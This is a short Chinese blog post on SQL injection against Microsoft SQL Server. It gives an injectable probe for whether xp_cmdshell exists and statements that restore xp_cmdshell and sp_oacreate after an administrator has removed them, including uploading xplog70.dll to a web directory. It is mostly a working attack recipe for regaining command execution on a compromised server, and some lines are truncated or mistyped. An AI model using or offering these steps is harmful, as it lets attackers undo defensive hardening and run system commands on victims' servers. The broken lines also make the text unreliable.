Sql 注入

本文介绍了如何检查及恢复SQL Server中的xp_cmdshell扩展存储过程。通过执行特定的SQL语句,可以判断xp_cmdshell是否存在,并进行删除和恢复操作。恢复可能需要上传并指定dll文件路径。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

xp_cmdshell这个模块给删除了
需要上传xplog70.dll这个文件

一、xp_cmdshell的删除及恢复

1、判断xp_cmdshell是否存在

and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND name = 'xp_cmdshell')


select count(*) from master.dbo.sysobjects where xtype='x' and

返回结果为1就ok


2、恢复xp_cmdshell的方法

删除扩展存储过过程xp_cmdshell的语句

exec sp_dropextendedproc 'xp_cmdshell'


恢复cmdshell的sql语句

exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'


exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from master.dbo.sysobjects where xtype='x' and

返回结果为1就ok


否则需上传c:/inetput/web/xplog70.dll后

exec master.dbo.sp_addextendedproc 'xp_cmdshell',’c:/inetput/web/xplog70.dll’;--


如果是用以下方法删除

drop procedure sp_addextendedproc

drop procedure sp_oacreate

exec sp_dropextendedproc 'xp_cmdshell'


则可以用以下语句恢复

dbcc addextendedproc ("sp_oacreate","odsole70.dll")

dbcc addextendedproc ("xp_cmdshell","xplog70.dll")

这样可以直接恢复,不用去管sp_addextendedproc是不是存在
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值